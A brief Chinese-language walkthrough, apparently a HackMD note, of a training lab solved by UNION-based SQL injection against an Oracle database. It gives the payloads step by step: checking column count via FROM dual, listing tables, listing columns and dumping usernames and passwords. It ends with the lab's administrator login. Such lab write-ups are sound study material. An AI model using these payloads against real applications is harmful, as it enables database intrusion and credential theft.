# Web SQL injection Lab6 這題 Lab 是一個經典的 UNION-based SQL Injection(聯集查詢型 SQL 注入),目的是透過注入來: - 列出資料表名稱 - 找到帳密儲存的表格 - 查出帳號與密碼欄位名稱 - 查出所有帳密內容 - 用 administrator 的帳號登入完成挑戰 一樣先進到網站裡。  先攔截請求並修改。 ``` '+UNION+SELECT+'abc','def'+FROM+dual-- ``` - Oracle 不允許單純 SELECT 'abc','def',一定要 FROM dual - 若正常顯示 abc 和 def,代表查詢回傳的是 兩個文字欄位  都有顯示出來,所以可以進行下一步。 接著列出所有資料表名稱。 ``` '+UNION+SELECT+table_name,+NULL+FROM+all_tables-- ``` Oracle 中 `information_schema.tables` → 對應的是 `all_tables` 觀察頁面,看是否有類似 USERS 的表格名稱出現。  顯然有一個可疑的`USERS_KLCCFR`,所以我們列出表格內容。 ``` '+UNION+SELECT+column_name,+NULL+FROM+all_tab_columns+WHERE+table_name='USERS_KLCCFR'-- ```   確定兩個欄位 `USERNAME_UGDAJN` 和 `PASSWORD_TMQJBL` 分別是存放 username 跟 password。 ``` '+UNION+SELECT+USERNAME_UGDAJN,PASSWORD_TMQJBL+FROM+USERS_KLCCFR-- ```  確實查到了帳號密碼,所以我們拿去登入看看。 `administrator:mltjvvf0nkol9104r8fj` 
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up